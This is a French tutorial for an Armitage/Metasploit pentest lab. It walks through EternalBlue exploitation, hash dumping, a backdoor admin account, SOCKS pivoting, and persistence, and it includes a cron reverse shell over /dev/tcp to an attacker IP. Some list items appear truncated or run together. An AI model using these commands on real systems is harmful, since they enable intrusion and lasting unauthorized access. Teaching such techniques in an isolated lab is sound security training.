Guide complet en français : du scan initial à la persistance et au pivot, avec analyse détaillée et contournement des obstacles.
Armitage est une interface graphique Java qui se connecte à une instance de Metasploit. Elle permet de gérer visuellement les hôtes, les sessions Meterpreter, les modules d’exploitation et de post‑exploitation. Très utilisée en pentest, elle facilite le travail collaboratif et offre une vue d’ensemble de la compromission d’un réseau.
Contrairement à la ligne de commande msfconsole, Armitage expose chaque cible comme une icône sur un canevas, affiche les sessions actives et automatise les attaques de masse. Nous allons l’exploiter dans un laboratoire complet avec plusieurs machines pour simuler un scénario d’intrusion réaliste.
Notre objectif : compromettre une machine Windows via un exploit pédagogique, pivoter vers un serveur Linux interne, puis installer une persistance.
Nous utilisons quatre machines virtuelles connectées en réseau Host‑Only :
Nous fournissons des scripts pour recréer rapidement cet environnement. Exemple avec Vagrant (extrait) :
Vagrant.configure("2") do |config|
config.vm.define "win10" do |w|
w.vm.box = "gusztavvargadr/windows-10-22h2"
w.vm.network "private_network", ip: "192.168.56.101"
# ATTENTION : Activation SMB1 POUR LE LAB UNIQUEMENT
w.vm.provision "shell", inline: "Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol"
end
config.vm.define "linux" do |l|
l.vm.box = "ubuntu/jammy64"
l.vm.network "private_network", ip: "192.168.56.102"
end
end
Pour la seconde carte réseau de Win10 (pivot), ajoutez dans le Vagrantfile une deuxième interface Host‑Only (ex: 10.0.0.1 pour Win10 et 10.0.0.5 pour DC).
Démarrez Metasploit avec le service RPC :
msfdb init
msfrpcd -P votre_mot_de_passe -S
Lancez Armitage :
armitage
Dans la fenêtre de connexion, entrez 127.0.0.1, port 55553, l'utilisateur msf et le mot de passe défini. Cliquez sur « Connect ».
L’interface principale affiche un canevas vide, une console Metasploit en bas, et des onglets pour les modules. Nous allons maintenant ajouter nos cibles.
Dans l'onglet « Hosts », cliquez sur « Nmap Scan » puis « Quick Scan (OS detect) ». Saisissez la plage 192.168.56.101-102.
Après le scan, les hôtes apparaissent avec des icônes. Pour chaque hôte, on peut voir les services détectés (SMB sur 445, RDP sur 3389, HTTP sur 80). Armitage met automatiquement en évidence les vulnérabilités potentielles (petite icône rouge si un exploit est disponible).
Si le scan ne détecte pas automatiquement les vulnérabilités, utilisez le module auxiliary/scanner/smb/smb_ms17_010 depuis la console intégrée.
Faites un clic droit sur l'icône de Win10, sélectionnez « Attack » → « SMB » → « ms17_010_eternalblue ». Armitage remplit automatiquement les paramètres (RHOSTS). Cliquez sur « Launch ».
Si l'exploit réussit, la bordure de l'icône devient rouge (machine compromise). Une session Meterpreter s'ouvre automatiquement. Vous pouvez interagir en faisant un clic droit → « Meterpreter » → « Interact ».
netsh advfirewall set allprofiles state off (lab uniquement).exploit/windows/http/badblue_passthru si un serveur HTTP vulnérable est présent).Dans la session Meterpreter, utilisez le menu « Access » → « Escalate » → « Attempt bypassuac » (si besoin de droits admin). Ensuite, « Dump hashes » pour récupérer les hashs SAM.
Pour utiliser un jeton (token), faites « Access » → « Impersonate token » et choisissez un compte privilégié. Vous pouvez aussi créer un nouvel utilisateur admin :
execute -f cmd.exe -a "/c net user attacker Password123 /add"
execute -f cmd.exe -a "/c net localgroup Administrators attacker /add"
Toutes ces actions sont réalisables graphiquement.
Depuis Win10 compromise, nous voulons attaquer le serveur Linux (192.168.56.102) et le DC interne (10.0.0.5). Armitage intègre un gestionnaire de pivot avancé.
Sur l’hôte compromis, faites un clic droit → « Meterpreter » → « Pivoting » → « Setup… ». Une fenêtre s’ouvre, laissez les options par défaut (ajouter une route vers le sous‑réseau distant). Armitage exécute en arrière‑plan :
route add 10.0.0.0 255.255.255.0 1
route add 192.168.56.0 255.255.255.0 1
run autoroute -s 10.0.0.0/24
Ensuite, Armitage propose de démarrer un proxy SOCKS (port 1080 par défaut). Acceptez. Ce proxy vous permet d’utiliser des outils externes (nmap, hydra, etc.) via la machine pivot.
Sur Kali, modifiez /etc/proxychains.conf (ajoutez socks4 127.0.0.1 1080). Désormais, vous pouvez lancer :
proxychains nmap -sT -Pn -p 22,80 10.0.0.5
Cela scanne le DC interne à travers Win10. Tout le trafic passe par le pivot.
Une fois le pivot en place, vous pouvez lancer un nouvel exploit via Armitage. Cliquez sur « Hosts » → « Add Hosts » et entrez 10.0.0.5. Armitage scanne à travers le pivot. Vous pouvez ensuite utiliser un module d’attaque adapté (par exemple exploit/windows/smb/psexec si vous avez récupéré des hashs).
auxiliary/scanner/ssh/ssh_login avec une wordlist.Sur chaque machine compromise, installez un moyen de revenir. Armitage propose des options dans « Meterpreter » → « Persistence ». Cela crée un script VBS ou un service qui se connecte périodiquement à votre IP.
run persistence -U -i 60 -p 4444 -r 192.168.56.10
Cependant, cette méthode est très bruyante (création d’un service visible, connexions sortantes régulières). Dans un vrai engagement, on préfère des alternatives plus furtives, qu’on peut aussi tester en lab :
HKLM\Software\Microsoft\Windows\CurrentVersion\Run (ou HKCU).WindowsUpdate).Pour Linux, utilisez ssh-keygen et ajoutez votre clé publique dans ~/.ssh/authorized_keys, ou créez un cron job.
echo "* * * * * /bin/bash -c 'exec bash -i &>/dev/tcp/192.168.56.10/5555 <&1'" | crontab -
Les attaques via Armitage laissent des traces visibles par un SOC :
cmd.exe par svchost.exe (Sysmon Event ID 8).Pour se défendre :
1. Quel exploit utilise‑t‑on dans ce lab pour compromettre la première machine Windows ?
2. Comment crée‑t‑on un pivot SOCKS dans Armitage ?
3. Quelle méthode de persistance est la plus discrète parmi les suivantes ?